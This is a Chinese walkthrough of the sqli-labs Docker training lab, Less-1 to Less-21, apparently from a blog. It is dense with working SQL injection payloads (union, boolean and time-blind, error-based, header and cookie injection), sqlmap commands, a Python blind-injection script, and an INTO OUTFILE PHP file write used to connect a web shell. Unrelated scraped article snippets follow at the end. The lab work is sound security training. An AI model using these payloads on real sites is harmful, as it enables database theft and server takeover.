当前位置: 首页 > news >正文

sqli-labs靶场安装以及刷题记录-docker

sqli-labs靶场安装以及刷题记录-docker

  • sqli-labs靶场安装-docker
  • sqli-labs靶场刷题
    • less-1 单引号
    • less-2 数字型
    • less-3 单引号+括号
    • less-4 双引号+括号
    • less-5 单引号+布尔盲注
    • less-6 双引号+布尔盲注
    • less-7 单引号加括号、输出到文件
    • less-8 单引号+布尔盲注
    • less-9 单引号+时间盲注
    • less-10 双引号+时间盲注
    • Less-11 POST方法+单引号
    • Less-12 POST方法+双引号和括号
    • Less-13 POST方法+单引号和括号+布尔盲注
    • Less-14 POST方法+双引号+布尔盲注
    • Less-15 POST方法+时间盲注
    • Less-16 POST方法+时间盲注+双引号和括号
    • Less-17 报错注入
    • Less-18 UA注入+报错注入
    • Less-19 Referer注入
    • Less-20 Cookie注入
    • Less-21 Cookie注入+base64编码

sqli-labs靶场安装-docker

  1. 拉取xss-labs靶场

    docker pull c0ny1/sqli-labs:0.1
    
  2. 启动xss-labs靶场

    docker run --name sqlilabs -d -p 8081:80 c0ny1/sqli-labs:0.1
    
  3. 访问

    ip:8081
    

    在这里插入图片描述
    4. 首次开启靶场先点击Setup/reset Database for labs创建数据

sqli-labs靶场刷题

在这里插入图片描述

less-1 单引号

在这里插入图片描述
要求输入ID参数,在URL后面拼接

?id=1

在这里插入图片描述

尝试闭合语句,构造

?id=1' //有报错
?id=1" //正常回显

在这里插入图片描述
推断参数是被单引号包围的

?id=1' #//错误回显
?id=1' -- //错误回显
?id=1' --+//正常回显

判断返回数据数

?id=1' order by 4 --+ //在输入4时报错,所以返回数据数为3。Unknown column '4' in 'order clause'

判断回显位

?id=1' union select 1,2,3 --+//显示的id=1的查询结果
?id=1' union select 1,2,3 limit 1,1--+

在这里插入图片描述
查数据库名

?id=1' union select 1,database(),version() limit 1,1--+//security,5.5.47-0ubuntu0.14.04.1
?id=1' union select 1,group_concat(schema_name) from information_schema.schemata,1 limit 1,1--+//报错,login name返回值设置了限制?
?id=1' union select 1,1,group_concat(schema_name) from information_schema.schemata limit 1,1--+

在这里插入图片描述
查表名

?id=1' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 1,1--+

在这里插入图片描述
查列名

?id=1' union select 1,1,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='X8H7POW1CY' limit 1,1--+

在这里插入图片描述

查数据

?id=1' union select 1,1,group_concat(secret_1A0H) from challenges.X8H7POW1CY limit 1,1--+

在这里插入图片描述

less-2 数字型

在这里插入图片描述

?id=1//正常回显
?id=1 and 1=2//无回显,数字型注入
?id=1 and 1=2 --+//无回显
?id=1 and 1=1 --+//正常回显

payload

?id=1 union select 1,2,3 limit 1,1--+

sqlmap跑一下

python sqlmap.py -u "http://ip:8081/Less-2/?id=1"

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --dbs --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --tables -D challenges --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --columns -T BTLPG8W39R -D challenges --batch

在这里插入图片描述

python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --dump -T BTLPG8W39R -D challenges --batch

在这里插入图片描述

less-3 单引号+括号

在这里插入图片描述

?id=1
?id=1'//有报错

在这里插入图片描述
观察报错信息构造

?id=1') --+//正常回显id=1的查询数据
?id=1')  union select 1,2,3 limit 1,1--+ //payload

可以使用less-1的方式手动查询或者sqlmap

less-4 双引号+括号

在这里插入图片描述

?id=1'//正常回显id=1的查询数据
?id=1"//有报错

"
观察报错,入参是被双引号加括号包围的,构造

?id=1") union select 1,2,3 limit 1,1 --+ //payload

less-5 单引号+布尔盲注

在这里插入图片描述

?id=1'//有报错

在这里插入图片描述
观察报错,入参是被单引号包围的

?id=1' --+//正常回显id=1的查询页面you are in........

查数据,页面没有明确的回显,只能逐个字符去查询然后判断结果是否正确(页面是否回显you are in…)

?id=1'--+//正常回显id=1的查询页面you are in........
?id=1' order by 3--+//you are in........
//这里已经没有必要去查回显位数了

参考WP
查数据库数量

?id=1' and (select count(*) from information_schema.schemata) = 5  --+

查每个数据库名称

?id=1' and (select substring(schema_name, 1,1) from information_schema.schemata limit 1,1) = 'c' --+
?id=1' and (select substring(schema_name, 2,1) from information_schema.schemata limit 1,1) = 'h' --+
?id=1' and (select substring(schema_name, 3,1) from information_schema.schemata limit 1,1) = 'a' --+
?id=1' and (select substring(schema_name, 4,1) from information_schema.schemata limit 1,1) = 'l' --+
?id=1' and (select substring(schema_name, 5,1) from information_schema.schemata limit 1,1) = 'l' --+
?id=1' and (select substring(schema_name, 6,1) from information_schema.schemata limit 1,1) = 'e' --+
?id=1' and (select substring(schema_name, 7,1) from information_schema.schemata limit 1,1) = 'n' --+
?id=1' and (select substring(schema_name, 8,1) from information_schema.schemata limit 1,1) = 'g' --+
?id=1' and (select substring(schema_name, 9,1) from information_schema.schemata limit 1,1) = 'e' --+
?id=1' and (select substring(schema_name, 10,1) from information_schema.schemata limit 1,1) = 's' --+
第二个(limit 1,1 代表从第二个数据查后面一个)数据库名称:challenges
以此类推

还有一种方法,不过只能查当前数据库名称

?id=1' and left(database(),1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
?id=1' and substr(database(),3,1)='c'--+
?id=1' and substr(database(),4,1)='u'--+
?id=1' and substr(database(),5,1)='r'--+
?id=1' and substr(database(),6,1)='i'--+
?id=1' and substr(database(),7,1)='t'--+
?id=1' and substr(database(),8,1)='y'--+
//security

之后查表名、列名等

less-6 双引号+布尔盲注

在这里插入图片描述

?id=1' // you are in......
?id=1"// 报错

在这里插入图片描述
观察报错,入参被双引号包围,构造

?id=1" --+//you are in......

接下来的操作和less-5一样

less-7 单引号加括号、输出到文件

在这里插入图片描述

?id=1"//未报错
?id=1'//报错

在这里插入图片描述
说明是单引号闭合,看不到具体的报错,WP上加了两个括号(只能猜啦

?id=1'))

导出数据到网站根目录(路径可以扫描,参考传送门

?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "/var/www/html/Less-7/users.txt"--+
?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+  

在这里插入图片描述
有报错,尝试了其他的语句还是有报错,去Docker中看了下源文件,发现已经成功写入users.txt, info.php了,蚁剑可以成功连接
在这里插入图片描述

less-8 单引号+布尔盲注

在这里插入图片描述

?id=1'//空回显

在这里插入图片描述
单引号应该是把入参语句给闭合了所以会报错,对本题而言没有正常回显就是报错,使用盲注的方法来判断

?id=1' --+//正常回显you are in......

接下来查询操作同Less-5一样(甚至payload都一样

less-9 单引号+时间盲注

在这里插入图片描述

尝试了单引号以及加括号等都是you are in......正常回显,借助sleep延时函数来判断,观察标签页左上角转的时长
在这里插入图片描述

?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5)  --+//只有这个sleep,刷新的较久
?id=1" and sleep(5) --+

if语句中使用sleep,查询数据库数量

?id=1' and if((select count(*) from information_schema.schemata)=5 ,sleep(5),1) --+

先判断每个数据库名字的长度

?id=1' and if((select length(schema_name) from information_schema.schemata limit 0,1) = 18 ,sleep(5),1) --+
?id=1' and if((select length(schema_name) from information_schema.schemata limit 1,1) = 10 ,sleep(5),1) --+
?id=1' and if((select length(schema_name) from information_schema.schemata limit 2,1) = 5 ,sleep(5),1) --+
......

查各个数据库名字

?id=1' and if( (select substring(schema_name, 1,1) from information_schema.schemata limit 1,1) = 'c' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 2,1) from information_schema.schemata limit 1,1) = 'h' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 3,1) from information_schema.schemata limit 1,1) = 'a' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 4,1) from information_schema.schemata limit 1,1) = 'l' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 5,1) from information_schema.schemata limit 1,1) = 'l' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 6,1) from information_schema.schemata limit 1,1) = 'e' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 7,1) from information_schema.schemata limit 1,1) = 'n' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 8,1) from information_schema.schemata limit 1,1) = 'g' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 9,1) from information_schema.schemata limit 1,1) = 'e' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 10,1) from information_schema.schemata limit 1,1) = 's' ,sleep(5),1) --+

这题在sqlmap上跑的还挺快
在这里插入图片描述

less-10 双引号+时间盲注

在这里插入图片描述
还是时间盲注

?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5)  --+
?id=1" and sleep(5) --+//只有这个sleep,刷新的较久

接下来的操作同Less-9

Less-11 POST方法+单引号

在这里插入图片描述
随便输一组账号和密码,有回显
在这里插入图片描述

输入Username为admin'有报错回显,可以利用,在BP上抓包修改提交值

在这里插入图片描述
修改uname为admin'--+登陆成功

uname=admin'--+&passwd=123&submit=Submit//登陆成功

在这里插入图片描述

开始查回显位数

uname=admin' order by 2--+&passwd=123&submit=Submituname=admin' union select 1,2 limit 1,1 --+&passwd=123&submit=Submit//payload

union联合查询数据库

uname=admin' union select 1,group_concat(schema_name) from information_schema.schemata limit 1,1--+&passwd=123&submit=Submit

接下来同之前的联合查询一样。
学一下Sqlmap怎么跑POST数据中的注入,将抓到的登录包保存到本地命名为login_POST

python sqlmap.py -r D:\bp\login_POST --batch
python sqlmap.py -r D:\bp\login_POST --dbs --batch
python sqlmap.py -r D:\bp\login_POST --tables -D challenges --batch
python sqlmap.py -r D:\bp\login_POST --dump -T BTLPG8W39R -D challenges --batch

Less-12 POST方法+双引号和括号

在这里插入图片描述
随便输账号密码同Less-11一样会报LOGIN ATTEMPT FAILED,去抓包改下看看

uname=admin'&passwd=123&submit=Submit//正常回显
uname=admin"&passwd=123&submit=Submit//报错了,通过报错信息知道入参是被双引号和括号包围的

在这里插入图片描述
可以构造payload了,同样可以联合查询,查询操作同Less-11

uname=admin") --+&passwd=123&submit=Submit

Less-13 POST方法+单引号和括号+布尔盲注

在这里插入图片描述
输入usernameamdin'有报错

uname=admin'&passwd=123&submit=Submit
uname=admin') --+ &passwd=123&submit=Submit //闭合语句

在这里插入图片描述

登陆成功没有回显位了,只有一个成功的界面
在这里插入图片描述
盲注,同Less-5一样的操作,先查数据库数量

uname=admin') and (select count(*) from information_schema.schemata) = 5 --+ &passwd=123&submit=Submit

之后操作参考Less-5,sqlmap同样能跑成功

Less-14 POST方法+双引号+布尔盲注

在这里插入图片描述

输入usernameamdin"有报错

uname=admin" &passwd=123&submit=Submit
uname=admin" --+ &passwd=123&submit=Submit //闭合语句,也是没有回显数据,只有登陆成功的界面

在这里插入图片描述
同上一关一样的操作,先查数据库数量

uname=admin" and (select count(*) from information_schema.schemata) = 5 --+ &passwd=123&submit=Submit

之后操作参考Less-5,sqlmap同样能跑成功

Less-15 POST方法+时间盲注

在这里插入图片描述

admin'
admin"
admin' --+
admin" --+

都是登陆失败的界面,没有任何报错信息,试试时间盲注,也是同样的界面以及回显

admin' and sleep(5) --+
admin" and sleep(5) --+
admin') and sleep(5) --+
admin") and sleep(5) --+

sqlmap跑出来了时间盲注,应该是姿势不对,又尝试了几次

admin' and sleep(5) #//这个有明显的时延,看了源码好像没有写屏蔽,注释符这里不太明白为什么--+ 不行
admin' and sleep(5) -- //--加空格也可以
  • -- 注释符在 MySQL 中需要后面跟一个空格才会生效,所以把 --+ 改为 -- 后,它成功注释掉了后面的 SQL 代码,从而使 SQL 注入得以绕过。

    • -- 注释符的规范要求后面必须有空格才能被解析为注释。
    • # 不需要空格,因此在某些情况下使用它更方便。

查数据库数量

admin' and if((select count(*) from information_schema.schemata) = 5,sleep(5),1)  # &passwd=123&submit=Submit

查数据库名字,用脚本做一下

import requests
import time# 靶场的目标URL
url = "http://ip:8081/Less-15/"  # 替换为你的目标URL
payload_list = ["admin'", ""]
# 假设最大数据库数量为10,可以根据需要调整
max_db_num = 10# 假设名称长度不会超过20
max_db_name_len = 18+1# 延时时长
delay_time = 6# POST 请求的基本数据(替换为具体的参数)
data = {"uname": "",  # SQL注入点位置"passwd": "123",  # 密码字段"submit": "Submit"
}# headers 信息,如果需要,可以设置
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"
}#执行多次请求并取平均值或中位数,以减少误差。
def measure_response_time(url, data, headers, repetitions=3):times = []for _ in range(repetitions):start_time = time.perf_counter()response = requests.post(url, data=data, headers=headers)response_time = time.perf_counter() - start_timetimes.append(response_time)# 返回中位数或者平均值,减少单次延迟造成的误差return sum(times) / len(times)  # 也可以使用 statistics.median(times)# 定义一个函数来测试数据库数量
def test_db_count():for i in range(1, max_db_num):# 构造SQL注入语句payload = f"{payload_list[0]} and if((select count(*) from information_schema.schemata) = {i},sleep({delay_time}),1) #"data['uname'] = payload# 记录请求的开始时间start_time = time.time()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.time() - start_time# print(response_time)# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的数据库数量正确if response_time >= delay_time:print(f"Database count found: {i}")return ielse:print(f"Tested {i}, no delay.")def test_db_name_length(db_index):for length in range(1, max_db_name_len):# 构造SQL注入语句,获取第 db_index 个数据库的名称长度payload = f"{payload_list[0]} and if((select length(schema_name) from information_schema.schemata limit {db_index},1) = {length},sleep({delay_time}),1) #"data['username'] = payload# print(payload)# response_time = measure_response_time(url, data=data, headers=headers)# print(response_time)# 记录请求的开始时间start_time = time.perf_counter()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.perf_counter() - start_time# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的长度正确if response_time >= delay_time:print(f"Database {db_index + 1} name length found: {length}")return lengthelse:print(f"Tested length {length} for database {db_index + 1}, no delay.")def test_db_name(db_index, name_length):db_name = ""for i in range(1, name_length + 1):  # 根据长度逐字符猜测for char in range(32, 127):  # ASCII 范围从 32 到 126(可见字符)# 构造SQL注入语句,获取 db_index 对应的数据库名的第 i 个字符payload = f"{payload_list[0]} and if(ascii(substr((select schema_name from information_schema.schemata limit {db_index},1),{i},1)) = {char},sleep({delay_time}),1) #"data['username'] = payload# print(payload)# 记录请求的开始时间start_time = time.time()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.time() - start_time# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的字符正确if response_time >= delay_time:db_name += chr(char)print(f"Found character {chr(char)} at position {i} for database {db_index + 1}")breakprint(f"Database {db_index + 1} name: {db_name}")return db_nameif __name__ == "__main__":print("testing num of database")db_num = test_db_count()print("testing length of each database")db_lengths = []for db_index in range(db_num):length_tmp = test_db_name_length(db_index)db_lengths.append(length_tmp)print("testing name of each database")for db_index, name_length in enumerate(db_lengths):db_name = test_db_name(db_index, name_length)

Less-16 POST方法+时间盲注+双引号和括号

在这里插入图片描述

admin") and sleep(3)#

操作同Less-15

Less-17 报错注入

在这里插入图片描述
随便输一组数据
在这里插入图片描述

输入admin用户
在这里插入图片描述

感觉是POST方法和布尔盲注,没测出来,看看WP,注入点在密码框passwd,且有报错回显
在这里插入图片描述

延时和报错注入好像都可以
查数据库数量

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),1) #&submit=Submit 

查数据库名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) #&submit=Submit 
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1) #&submit=Submit 
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) #&submit=Submit 
.......

查每个数据库中的表名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1)),1) #&submit=Submit 

查每个列名

uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='BTLPG8W39R' limit 0,1)),1) #&submit=Submit 

Less-18 UA注入+报错注入

在这里插入图片描述
这关也是看了WP,通过观察源码发现可以UA报错注入
在这里插入图片描述

可利用的SQL语句是

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

这时我们就不能像常规的报错盲注一样直接上,我们得考虑一下闭合VALUES,假如我们利用的点是$uagent,那构建格式就应该是1',1,1)#,在SQL语句中相当于

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)

这样就闭合了VALUES,所以我们在uagent上正确的payload应该是

1',1,updatexml(1,concat(0x5e,database()),1))#

Less-19 Referer注入

在这里插入图片描述

需要有一组账号密码成功登录会回显Referer(有些密码在Less-17被修改了)
在这里插入图片描述

在这里插入图片描述
源码中 HTTP_REFERER字段被拼接到数据库语句中,在BurpSuite中抓包这条记录,发送到Repeater,尝试在Referer字段进行注入

Referer: 1' and order by 4
Referer: 1',1) #//闭合语句

因为有报错回显,无回显数据内容,所以用报错盲注。
在这里插入图片描述

查数据库

Referer: 1' and updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a),1),1)#//显示不完整
Referer: 1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x3a),1),1)#//使用substr函数来获取剩余的内容

同理查表、列以及数据

Less-20 Cookie注入

在这里插入图片描述
登陆成功会有以下信息
在这里插入图片描述

看了源码 这关换成Cookie注入了,测试一下

Cookie: uname=admin'//有报错
Cookie: uname=admin'#//闭合了

有报错回显,可以使用联合查询

Cookie: uname=admin' order by 3#
Cookie: uname=admin' union select 1,1,databse() limit 1,1#

在这里插入图片描述

Less-21 Cookie注入+base64编码

这关也是先登录,会有Cookie,但是和上关不同的是Cookie做了Base64编码
在这里插入图片描述
测试payload

uname=admin')#//闭合语句,编码后的等号用%3D来替代
uname=YWRtaW4nKSM%3D

在这里插入图片描述

uname=admin') union select 1,1,database() limit 1,1 #
uname=YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwxLGRhdGFiYXNlKCkgbGltaXQgMSwxICM%3D

在这里插入图片描述

相关文章:

sqli-labs靶场安装以及刷题记录-docker

sqli-labs靶场安装以及刷题记录-docker sqli-labs靶场安装-dockersqli-labs靶场刷题less-1 单引号less-2 数字型less-3 单引号括号less-4 双引号括号less-5 单引号布尔盲注less-6 双引号布尔盲注less-7 单引号加括号、输出到文件less-8 单引号布尔盲注less-9 单引号时间盲注les…...

谷歌仓库管理工具repo

Google 的仓库管理工具 Repo 是一个用于管理包含多个 Git 仓库的大型项目的命令行工具。它最初由 Google 为 Android 操作系统开发&#xff0c;以简化和协调众多子项目的版本控制和协作过程。以下是对 Repo 的详细解释&#xff1a; 主要功能与特点 多仓库管理&#xff1a; Rep…...

C#的自定义Tip窗体 - 开源研究系列文章

上次编写了自定义的提示和对话框窗体&#xff0c;这次记录的是自定义的Tip窗体&#xff0c;用于显示提示操作。有时间没编程了&#xff0c;这次就当进行了记录。 1、 项目目录&#xff1b; 2、 源码介绍&#xff1b; 1) 实现&#xff1b; 2) 应用&#xff1b; 3、 运行界面&…...

目前最新 Reflector V11.1.0.2067版本 .NET 反编译软件

目前最新 Reflector V11.1.0.2067版本 .NET 反编译软件 一、简介二、.NET Reflector的主要功能包括&#xff1a;1. **反编译**: 反编译是将已编译的.NET程序集&#xff08;如.dll或.exe文件&#xff09;转换回可读的源代码。这使得开发者可以查看和学习第三方库的实现细节&…...

软考:CORBA架构

CORBA过时了吗 CORBA指南 个人小结&#xff1a; IPC&#xff0c;进程间通信&#xff0c;Socket应用在不同机器之间的通信 RPC是一种技术思想而非一种规范 但站在八九十年代的当口&#xff0c;简单来说&#xff0c;就是我在本地调用了一个函数&#xff0c;或者对象的方法&…...

qt QSaveFile详解

QSaveFile 是 Qt 提供的一个类&#xff0c;用于安全地保存文件。它的主要特点是在写入文件时确保数据完整性&#xff0c;以防止文件损坏。使用 QSaveFile&#xff0c;您可以创建一个临时文件&#xff0c;并在成功写入后将其重命名为目标文件&#xff0c;这样可以避免在写入过程…...

【Linux】线程池详解及其基本架构与单例模式实现

目录 1.关于线程池的基本理论 1.1.线程池是什么&#xff1f; 1.2.线程池的应用场景&#xff1a; 2.线程池的基本架构 2.1.线程容器 2.2.任务队列 2.3.线程函数&#xff08;HandlerTask&#xff09; 2.4.线程唤醒机制 3.添加单例模式 3.1.单例模式是什么&…...

运输层知识点汇总3

目录 前言 二、为什么在TCP首部中有一个首部长度字段&#xff0c;而UDP的首部就没有这个字段&#xff1f; 三、一个TCP报文段的数据部分最多为多少字节&#xff1f;为什么&#xff1f;如果用户要传送的数据的字节长度超过TCP报文段中的序号字段可能编出的最大序号&#xff0…...

浔川社团官方联合会提前入驻

近期&#xff0c;我们浔川社团官方发现文章再次被不明网站转发。这一情况引起了我们的高度警觉和深刻反思。我们一直致力于为大家提供高质量、有价值的内容&#xff0c;用心创作每一篇文章&#xff0c;以展现我们社团的风采和理念。然而&#xff0c;这些不明网站未经授权的转发…...

比例数据可视化(Python实现板块层级图绘制)——Instacart Market Basket Analysis

【实验名称】 实验一&#xff1a;绘制板块层级图 【实验目的】 1. 掌握数据文件读取 2. 掌握数据处理的方法 3. 实现板块层级图的绘制 【数据介绍】Instacart Market Basket Analysis 1. 数据说明 数据共有300 0000orders&#xff0c; 20 0000users&#xff0c; …...

C++研发笔记8——C语言程序设计初阶学习笔记6

在第一部分——课前准备的学习中&#xff0c;我就提到了学习C语言的过程中&#xff0c;练习是必不可少的环节&#xff0c;所以本篇笔记我们来进行记录我们学习《C语言程序设计初阶》阶段的第一篇练习文章。 题目一 下面哪个不是C语言内置的数据类型&#xff1a; A.char B.d…...

0softmax和背后的最大熵(极大似然法)

只要无穷阶矩都一样&#xff0c;那么两个分布一定一样。 整理思路&#xff1a;1、设定样本的概率模型与目标概率模型一致&#xff08;两个模型特性函数一致&#xff09;建立服从伯努利分布的变量&#xff08;此处需要理解样本空间及变量的关系&#xff09;对两个模型进行降维&a…...

6,000 个网站上的假 WordPress 插件提示用户安装恶意软件

黑客使用窃取的凭证感染 WordPress 网站&#xff0c;并向其发送虚假插件&#xff0c;通过虚假的浏览器更新提示向最终用户发送恶意软件和信息窃取程序。 该恶意活动基于ClickFix假浏览器更新恶意软件的新变种&#xff0c;自 2024 年 6 月以来已使用假 WordPress 插件感染了超过…...

最新Compose环境版本

1.gradle gradle 8.10.2 插件版本 8.7.1 Android Studio Ladybug | 2024.2.1 Patch 1 2.model 下 的 build.gradle.kts plugins {alias(libs.plugins.android.application)alias(libs.plugins.kotlin.android)alias(libs.plugins.kotlin.compose)id("kotlin-kapt&qu…...

流媒体协议.之(RTP,RTCP,RTSP,RTMP,HTTP)(一)

闲着没事做&#xff0c;记录一下开发项目用过的协议&#xff0c;项目中&#xff0c;大多是是实时显示播放的&#xff0c;通过私有协议&#xff0c;传输到上位机&#xff0c;实时播放&#xff0c;延时小于200ms&#xff0c;仿照这些协议&#xff0c;定义的数据格式。如果用这些协…...

【智能大数据分析 | 实验四】Spark实验:Spark Streaming

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈智能大数据分析 ⌋ ⌋ ⌋ 智能大数据分析是指利用先进的技术和算法对大规模数据进行深入分析和挖掘&#xff0c;以提取有价值的信息和洞察。它结合了大数据技术、人工智能&#xff08;AI&#xff09;、机器学习&#xff08;ML&a…...

es实现自动补全

目录 自动补全 拼音分词器 安装拼音分词器 第一步&#xff1a;下载zip包&#xff0c;并解压缩 第二步&#xff1a;去docker找到es-plugins数据卷挂载的位置&#xff0c;并进入这个目录 第三步&#xff1a;把拼音分词器的安装包拖到这个目录下 第四步&#xff1a;重启es 第…...

【日志】Unity3D模型导入基本问题以及浅谈游戏框架

2024.10.22 真正的谦逊从来不是人与人面对时的谦卑&#xff0c;而是当你回头看那个曾经的自己时&#xff0c;依旧保持肯定与欣赏。 【力扣刷题】 暂无 【数据结构】 暂无 【Unity】 导入外部模型资源报错问题 在导入外部资源包的时候一般都会报错&#xff0c;不是这个资源模…...

1.8K Star,简洁易用 Web 端创意画板

Hi&#xff0c;骚年&#xff0c;我是大 G&#xff0c;公众号「GitHub 指北」会推荐 GitHub 上有趣有用的项目&#xff0c;一分钟 get 一个优秀的开源项目&#xff0c;挖掘开源的价值&#xff0c;欢迎关注。 在数字创作的时代&#xff0c;找到一款功能强大且易于使用的绘图工具…...

WPF中的<Style.Triggers>

Triggers介绍 在XAML中&#xff0c;Triggers是Style元素的一部分&#xff0c;用于定义在特定条件触发时应用的样式更改。这些触发器可以响应各种事件和属性值的变化&#xff0c;例如控件的状态变化&#xff08;如鼠标悬停、焦点状态&#xff09;、数据绑定值的变化等。 以下是…...

pod相关面试题总结(持续更新)

1:当一个Pod有多个容器时&#xff0c;如果连接到指定的容器&#xff1f; #查看当前空间下的pod [rootmaster210 pods]# kubectl get pods NAME READY STATUS RESTARTS AGE linux85-nginx-tomcat 2/2 Running 0 63s [rootmaster210 …...

Matlab学习03-符号的替换及运算(接上一篇)

在上一篇的学习中&#xff0c;我知道了符号变量的声明&#x1f447; Matlab学习02-matlab中的数据显示格式及符号变量-CSDN博客 接下来开始学习符号运算相关的内容&#xff0c;并学习最为核心的matlab程序设计。之前的学习都是为了程 序设计做铺垫&#xff0c;程序设计又是为了…...

Windows中API-磁盘管理笔记

硬盘是由一组堆积的盘片组成类似于圆柱体组成&#xff0c;每个盘片的数据都以电磁方式存储在同心圆或轨道中&#xff0c;轨道的最小可寻址单元是扇区&#xff1b;基本磁盘&#xff1a;最常用于windows的存储类型&#xff0c;指的是**包含分区的磁盘。**在基本磁盘上只能创建和删…...

010 操作符详解 上

写代码的实质是在写方法体 —— 刘铁猛 操作符概览 操作符本质 操作符的本质是函数的“简记法” 操作符 简写Add函数 34 等同Add(3,4)操作符不能脱离与它关联的数据类型可以说操作符就是与固定数据类型关联的一套算法的简记法 如下图所示算法的简记法 操作符的优先级 可以使…...

【贪心算法】(第十篇)

目录 加油站&#xff08;medium&#xff09; 题目解析 讲解算法原理 编写代码 单调递增的数字&#xff08;medium&#xff09; 题目解析 讲解算法原理 编写代码 加油站&#xff08;medium&#xff09; 题目解析 1.题目链接&#xff1a;. - 力扣&#xff08;LeetCode&a…...

029.爬虫专用浏览器-抓取跨域#document下的内容

一、iframe下的#document是什么 #document 是一个特殊的 HTML 元素&#xff0c;表示 <iframe> 元素内部的文档对象。当你在 HTML 页面中嵌入一个 <iframe> 元素时&#xff0c;浏览器会创建一个新的文档对象来表示 <iframe> 内部的内容。这 个文档对象就是 #…...

SIP 业务举例之 Call Hold(呼叫保持)

目录 1. Call Hold(呼叫保持)简介 2. 信令流程 呼叫保持 呼叫恢复开始 恢复通话完成 3. 本例 Call Hold 建立了几个 Dialog? 博主wx:yuanlai45_csdn 博主qq:2777137742 想要 深入学习 5GC IMS 等通信知识(加入 51学通信),或者想要 cpp 方向修改简历,模拟面试,学习…...

eks节点的网络策略配置机制解析

参考链接 vpc-cni网络策略最佳实践&#xff0c;https://aws.github.io/aws-eks-best-practices/security/docs/network/#additional-resourcesvpc cni网络策略faq&#xff0c;https://github.com/aws/amazon-vpc-cni-k8s/blob/0703d03dec8afb8f83a7ff0c9d5eb5cc3363026e/docs/…...

【C】用c写贪吃蛇

1.输入正确的账号密码及其用户名&#xff0c;登录成功进入贪吃蛇游戏界面&#xff0c; 2.随机生成蛇头★、食物▲的位置(x,y)&#xff0c;并使用□打印地图 3.使用w s a d按键&#xff0c;完成蛇头的上下左右移动 4.蛇头碰撞到食物后&#xff0c;吃下食物变成蛇身的一部分●…...

qt QLineEdit详解

一、概述 QLineEdit 是 Qt 框架中用于创建单行文本输入框的类。它非常适合用于接收用户输入&#xff0c;例如用户名、密码或其他简单的文本信息。它提供了许多有用的编辑功能&#xff0c;支持多种输入模式和文本限制&#xff0c;并支持撤销、重做、剪切、粘贴以及拖放等功能。…...

vs做网站如何输出/百度推广云南总代理

转载自「LeanCloud通讯」公众号 作者&#xff1a;LeanCloud 郑鹏2018 年 12 月&#xff0c;Google 发布了 Flutter 1.0 正式版&#xff0c;似乎再次点燃了人们对移动跨平台开发的热情。上一次出现类似的情况&#xff0c;是在 15 年年初&#xff0c;Facebook 发布 React Native …...

应聘网站运营建设面试/国内做seo最好的公司

今天突发奇想&#xff0c;云服务器总是系统盘太小&#xff0c;数据盘太小&#xff0c;如果合并在一起&#xff0c;容量不就大了吗 重要的事情提前说&#xff0c;重要的事情提前说。 &#xff01;&#xff01;&#xff01;数据无价&#xff0c;谨慎操作&#xff0c;操作之前做好…...

哪个网站做x展架比较好 知乎/所有的竞价托管公司

​研发管理平台DevOps使用流程&#xff1a; 一、注册开发者账号 二、登录平台 三、点击&#xff1a;我的项目-内部项目 三、点击“发布内部项目”&#xff0c;创建项目 五、进入项目 六、研发管理平台 研发管理平台的功能包括&#xff1a;可以进行缺陷管理、业务需求管理、软…...

犀牛云做网站怎么做/厦门零基础学seo

1、SPI简介 SPI 全称为 (Service Provider Interface) &#xff0c;是JDK内置的一种服务提供发现机制。 目前有不少框架用它来做服务的扩展发现&#xff0c;简单来说&#xff0c;它就是一种动态替换发现的机制。使用SPI机制的优势是实现解耦&#xff0c;使得第三方服务模块的装…...

